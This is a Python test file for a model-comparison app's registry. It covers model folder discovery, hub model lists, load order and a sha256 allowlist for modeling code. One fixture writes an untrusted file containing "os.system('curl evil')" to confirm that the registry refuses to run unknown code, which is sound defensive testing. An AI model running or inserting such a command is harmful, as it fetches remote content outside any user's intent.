tests/test_registry.py

"""Which models DecisionLab compares (app/registry.py): every FalconDec folder found in the models directory, then Laya."""
import json
import tempfile
import unittest
from pathlib import Path

from app.registry import load_order, model_specs, resolve_local_dir

HUB_KEYS = ["lightdec_arthur", "lightdec_v2", "enterprise_reflux_laya_v21", "laya"]


def folder_models(specs):
    return [s for s in specs if s.get("source") == "local"]


def make_model(root: Path, folder: str, config: dict | None = None, raw: str | None = None) -> Path:
    d = root / folder
    d.mkdir(parents=True)
    (d / "falcondec_config.json").write_text(raw if raw is not None else json.dumps(config or {}))
    return d


class DiscoveryTest(unittest.TestCase):
    def setUp(self):
        self.tmp = tempfile.TemporaryDirectory()
        self.root = Path(self.tmp.name)
        self.env = {"MODELS_DIR": str(self.root)}

    def tearDown(self):
        self.tmp.cleanup()

    def test_each_folder_with_a_config_becomes_a_model_then_laya(self):
        make_model(self.root, "LightDec_V2_Long-v1.0.0", {"name": "LightDec_V2_Long", "version": "1.0.0"})
        make_model(self.root, "LightDec-v1.0.2", {"name": "LightDec", "version": "1.0.2"})
        specs = model_specs(self.env)
        self.assertEqual([s["key"] for s in specs[:4]], HUB_KEYS)
        self.assertEqual([s["path"] for s in folder_models(specs)],
                         [str(self.root / "LightDec-v1.0.2"), str(self.root / "LightDec_V2_Long-v1.0.0")])
        self.assertEqual(specs[3]["kind"], "laya")

    def test_names_come_from_each_config(self):
        make_model(self.root, "a", {"name": "LightDec", "version": "1.0.2"})
        make_model(self.root, "b", {"name": "LightDec_V2_Long", "version": "1.0.0"})
        self.assertEqual([s["name"] for s in model_specs(self.env)],
                         ["LightDec_Arthur", "LightDec_V2", "Enterprise Reflux Laya V2.1", "Laya",
                          "LightDec 1.0.2 (local)", "LightDec_V2_Long 1.0.0 (local)"])

    def test_unreadable_config_falls_back_to_the_folder_name(self):
        make_model(self.root, "Broken-Model", raw="{not json")
        self.assertEqual(folder_models(model_specs(self.env))[0]["name"], "Broken-Model (local)")

    def test_folders_without_a_config_and_plain_files_are_ignored(self):
        (self.root / "notes").mkdir()
        (self.root / "readme.txt").write_text("x")
        make_model(self.root, "LightDec-v1.0.2", {"name": "LightDec", "version": "1.0.2"})
        self.assertEqual(len(folder_models(model_specs(self.env))), 1)

    def test_missing_models_directory_leaves_the_three_hub_models(self):
        specs = model_specs({"MODELS_DIR": str(self.root / "nope")})
        self.assertEqual([s["key"] for s in specs], HUB_KEYS)

    def test_keys_are_stable_slugs_of_the_folder_names(self):
        make_model(self.root, "LightDec_V2_Long-v1.0.0", {})
        make_model(self.root, "LightDec-v1.0.2", {})
        self.assertEqual([s["key"] for s in model_specs(self.env)], HUB_KEYS + ["lightdec_v1_0_2", "lightdec_v2_long_v1_0_0"])

    def test_a_folder_named_laya_does_not_collide_with_laya(self):
        make_model(self.root, "Laya", {})
        keys = [s["key"] for s in model_specs(self.env)]
        self.assertEqual(keys, HUB_KEYS + ["laya_2"])

    def test_every_model_gets_a_distinct_colour_while_the_palette_lasts(self):
        for i in range(6):
            make_model(self.root, f"m{i}", {})
        sides = [s["side"] for s in model_specs(self.env)]
        self.assertEqual(len(sides), 10)
        self.assertEqual(len(set(sides)), 9)                                # 8 palette colours + Laya
        self.assertEqual(sides[3], "laya")

    def test_discovered_models_are_local_lightdec_backends(self):
        make_model(self.root, "m", {})
        s = folder_models(model_specs(self.env))[0]
        self.assertEqual((s["kind"], s["source"], s["variant"], s["path_env"]), ("lightdec", "local", "fp16", "MODELS_DIR"))

    def test_variant_applies_to_every_discovered_model(self):
        make_model(self.root, "m", {})
        specs = model_specs(dict(self.env, LIGHTDEC_VARIANT="int8"))
        self.assertEqual(folder_models(specs)[0]["variant"], "int8")
        self.assertEqual(specs[1]["variant"], "int8")                    # the Hub LightDec_V2 too

    def test_unknown_variant_is_rejected_by_name(self):
        with self.assertRaises(ValueError) as ctx:
            model_specs(dict(self.env, LIGHTDEC_VARIANT="fp8"))
        self.assertEqual(str(ctx.exception), "LIGHTDEC_VARIANT must be fp16 or int8 (got 'fp8').")

    def test_laya_settings(self):
        laya = model_specs(dict(self.env, LAYA_REPO="me/laya", LAYA_FALLBACK_REPO=""))[3]
        self.assertEqual((laya["name"], laya["repo"], laya["fallback_repo"]), ("Laya", "me/laya", ""))
        laya = model_specs(self.env)[3]
        self.assertEqual((laya["repo"], laya["fallback_repo"]), ("convaiinnovations/laya", ""))

    def test_default_models_directory_is_slash_models(self):
        self.assertEqual([s["key"] for s in model_specs({"MODELS_DIR": ""})][:4], HUB_KEYS)   # empty setting falls back to /models


class LoadOrderTest(unittest.TestCase):
    def setUp(self):
        self.tmp = tempfile.TemporaryDirectory()
        self.root = Path(self.tmp.name)
        make_model(self.root, "a", {})
        make_model(self.root, "b", {})
        self.env = {"MODELS_DIR": str(self.root)}

    def tearDown(self):
        self.tmp.cleanup()

    def test_default_is_comparison_order(self):
        self.assertEqual(load_order(self.env), HUB_KEYS + ["a", "b"])

    def test_env_order_is_respected_and_trimmed(self):
        self.assertEqual(load_order(dict(self.env, LOAD_ORDER=" laya , b ")), ["laya", "b"])

    def test_unknown_keys_are_dropped(self):
        self.assertEqual(load_order(dict(self.env, LOAD_ORDER="laya,nope")), ["laya"])


class ResolveLocalDirTest(unittest.TestCase):
    def setUp(self):
        self.tmp = tempfile.TemporaryDirectory()
        self.root = Path(self.tmp.name) / "LightDec-v1.0.2"
        (self.root / "compact-int8").mkdir(parents=True)
        (self.root / "falcondec_config.json").write_text("{}")
        (self.root / "compact-int8" / "falcondec_config.json").write_text("{}")

    def tearDown(self):
        self.tmp.cleanup()

    def test_fp16_uses_the_folder_itself(self):
        self.assertEqual(resolve_local_dir(str(self.root), "fp16", "M", "MODELS_DIR"), self.root)

    def test_int8_uses_compact_int8(self):
        self.assertEqual(resolve_local_dir(str(self.root), "int8", "M", "MODELS_DIR"), self.root / "compact-int8")

    def test_missing_int8_folder_names_the_file_and_setting(self):
        (self.root / "compact-int8" / "falcondec_config.json").unlink()
        with self.assertRaises(FileNotFoundError) as ctx:
            resolve_local_dir(str(self.root), "int8", "M", "LIGHTDEC_VARIANT")
        self.assertEqual(str(ctx.exception), f"No falcondec_config.json in {self.root / 'compact-int8'}. "
                                             "This model has no int8 copy; set LIGHTDEC_VARIANT to fp16.")

    def test_folder_removed_after_start_names_the_path(self):
        with self.assertRaises(FileNotFoundError) as ctx:
            resolve_local_dir("/no/such/LightDec", "fp16", "M", "MODELS_DIR")
        self.assertEqual(str(ctx.exception), "M folder not found at /no/such/LightDec. It was in the models folder at "
                                             "start-up; put it back or restart DecisionLab.")


if __name__ == "__main__":
    unittest.main()


from app.registry import KNOWN_MODELING_SHA256, modeling_sha256, trusted_modeling


class TrustedModelingTest(unittest.TestCase):
    def setUp(self):
        self.tmp = tempfile.TemporaryDirectory()
        self.dir = Path(self.tmp.name)

    def tearDown(self):
        self.tmp.cleanup()

    def test_hash_ignores_windows_line_endings(self):
        (self.dir / "a.py").write_bytes(b"x = 1\r\ny = 2\r\n")
        (self.dir / "b.py").write_bytes(b"x = 1\ny = 2\n")
        self.assertEqual(modeling_sha256(self.dir / "a.py"), modeling_sha256(self.dir / "b.py"))

    def test_known_falcondec_hash_is_pinned(self):
        self.assertIn("cc211c2d50a1e6946ed01860abb77673bb15f33d1022cd0d9c8739e166ec6b93", KNOWN_MODELING_SHA256)

    def test_unknown_code_is_refused_with_its_hash(self):
        (self.dir / "falcondec_modeling.py").write_text("import os; os.system('curl evil')\n")
        digest = modeling_sha256(self.dir / "falcondec_modeling.py")
        with self.assertRaises(PermissionError) as ctx:
            trusted_modeling(self.dir, {})
        self.assertEqual(str(ctx.exception),
                         f"Refusing to run {self.dir / 'falcondec_modeling.py'}: its sha256 {digest} is not a known "
                         "FalconDec modeling file. If you trust it, add the hash to TRUSTED_MODELING_SHA256 in .env.")

    def test_extra_hashes_from_env_are_trusted(self):
        (self.dir / "falcondec_modeling.py").write_text("print('mine')\n")
        digest = modeling_sha256(self.dir / "falcondec_modeling.py")
        env = {"TRUSTED_MODELING_SHA256": f" deadbeef , {digest.upper()} "}
        self.assertEqual(trusted_modeling(self.dir, env), self.dir / "falcondec_modeling.py")

    def test_missing_modeling_file_is_reported(self):
        with self.assertRaises(FileNotFoundError) as ctx:
            trusted_modeling(self.dir, {})
        self.assertEqual(str(ctx.exception), f"No falcondec_modeling.py in {self.dir}.")


ARTHUR_CFG = {"tier": "base", "d": 512, "heads": 8, "e": 128, "buckets": 65536, "recursions": 6, "interact": 2,
              "mlp": 1536, "lr": 0.00015, "budget": 16384,
              "layout": {"max_len": 1024, "long_max_len": 2048, "long_opts_threshold": 24, "head_max_len": 192,
                         "max_tok_per_opt": 24},
              "temperatures": [[1.0] * 4] * 3, "pretrain": None}


class ArthurDiscoveryTest(unittest.TestCase):
    def setUp(self):
        self.tmp = tempfile.TemporaryDirectory()
        self.root = Path(self.tmp.name)
        self.env = {"MODELS_DIR": str(self.root)}

    def tearDown(self):
        self.tmp.cleanup()

    def arthur(self, folder, cfg=None, weights=True, raw=None):
        d = self.root / folder
        d.mkdir()
        (d / "config.json").write_text(raw if raw is not None else json.dumps(cfg or ARTHUR_CFG))
        if weights:
            (d / "model.safetensors").write_bytes(b"x")
        return d

    def test_arthur_folder_is_discovered_next_to_falcondec_models(self):
        self.arthur("arthur-base")
        make_model(self.root, "LightDec-v1.0.2", {"name": "LightDec", "version": "1.0.2"})
        specs = model_specs(self.env)
        self.assertEqual([(s["key"], s["kind"], s["name"]) for s in specs][4:],
                         [("lightdec_v1_0_2", "lightdec", "LightDec 1.0.2 (local)"), ("arthur_base", "arthur", "Arthur base (local)")])
        self.assertEqual(specs[5]["path"], str(self.root / "arthur-base"))

    def test_pretrained_run_is_named_so(self):
        self.arthur("arthur-base-pt", dict(ARTHUR_CFG, pretrain={"epochs": 1}))
        self.assertEqual(folder_models(model_specs(self.env))[0]["name"], "Arthur base (pretrained) (local)")

    def test_config_json_that_is_not_arthur_is_ignored(self):
        self.arthur("bert", {"model_type": "bert", "hidden_size": 768})
        self.assertEqual([s["key"] for s in model_specs(self.env)], HUB_KEYS)

    def test_arthur_config_without_weights_is_ignored(self):
        self.arthur("arthur-base", weights=False)
        self.assertEqual([s["key"] for s in model_specs(self.env)], HUB_KEYS)

    def test_unreadable_config_json_is_ignored(self):
        self.arthur("arthur-base", raw="{broken")
        self.assertEqual([s["key"] for s in model_specs(self.env)], HUB_KEYS)

    def test_colours_continue_across_kinds(self):
        self.arthur("b-arthur")
        make_model(self.root, "a-lightdec", {})
        self.assertEqual([s["side"] for s in model_specs(self.env)], ["c0", "c1", "c2", "laya", "c3", "c4"])


class HubModelsTest(unittest.TestCase):
    """The operator's model list (2026-09-28): three Hugging Face models, in this order, with these names."""

    def setUp(self):
        self.specs = model_specs({"MODELS_DIR": "/nonexistent"})

    def test_names_repos_and_order(self):
        self.assertEqual([(s["key"], s["name"], s["repo"]) for s in self.specs],
                         [("lightdec_arthur", "LightDec_Arthur", "Falconsai/LightDec_Arthur"),
                          ("lightdec_v2", "LightDec_V2", "Falconsai/LightDec_V2"),
                          ("enterprise_reflux_laya_v21", "Enterprise Reflux Laya V2.1", "yasserrmd/enterprise-reflux-laya-v21"),
                          ("laya", "Laya", "convaiinnovations/laya")])

    def test_kinds_and_sources(self):
        self.assertEqual([(s["kind"], s.get("source")) for s in self.specs],
                         [("arthur", "hub"), ("lightdec", "hub"), ("laya", None), ("laya", None)])

    def test_reflux_is_a_laya_checkpoint_with_no_fallback_and_its_own_colour(self):
        reflux = self.specs[2]
        self.assertEqual((reflux["kind"], reflux["fallback_repo"]), ("laya", ""))
        self.assertEqual(len({s["side"] for s in self.specs}), 4)

    def test_reflux_repo_can_be_overridden(self):
        specs = model_specs({"MODELS_DIR": "/x", "REFLUX_LAYA_REPO": "me/reflux"})
        self.assertEqual(specs[2]["repo"], "me/reflux")

    def test_laya_has_no_fallback(self):
        self.assertEqual(self.specs[3]["fallback_repo"], "")

    def test_hub_repos_can_be_overridden(self):
        specs = model_specs({"MODELS_DIR": "/x", "LIGHTDEC_ARTHUR_REPO": "me/a", "LIGHTDEC_V2_REPO": "me/b"})
        self.assertEqual([s["repo"] for s in specs[:2]], ["me/a", "me/b"])

    def test_folder_copies_of_the_same_models_get_distinct_keys_and_names(self):
        with tempfile.TemporaryDirectory() as d:
            make_model(Path(d), "LightDec_V2", {"name": "LightDec_V2_Long", "version": "1.0.0"})
            specs = model_specs({"MODELS_DIR": d})
        self.assertEqual([(s["key"], s["name"]) for s in specs][4:], [("lightdec_v2_2", "LightDec_V2_Long 1.0.0 (local)")])


from app.registry import warmup_enabled


class WarmupTest(unittest.TestCase):
    """Warm-up runs a model once after loading. On ZeroGPU there is no real GPU outside @spaces.GPU, so it is off."""

    def test_on_by_default(self):
        self.assertTrue(warmup_enabled({}))

    def test_off_with_zero(self):
        self.assertFalse(warmup_enabled({"DLAB_WARMUP": "0"}))

    def test_anything_else_keeps_it_on(self):
        self.assertTrue(warmup_enabled({"DLAB_WARMUP": "1"}))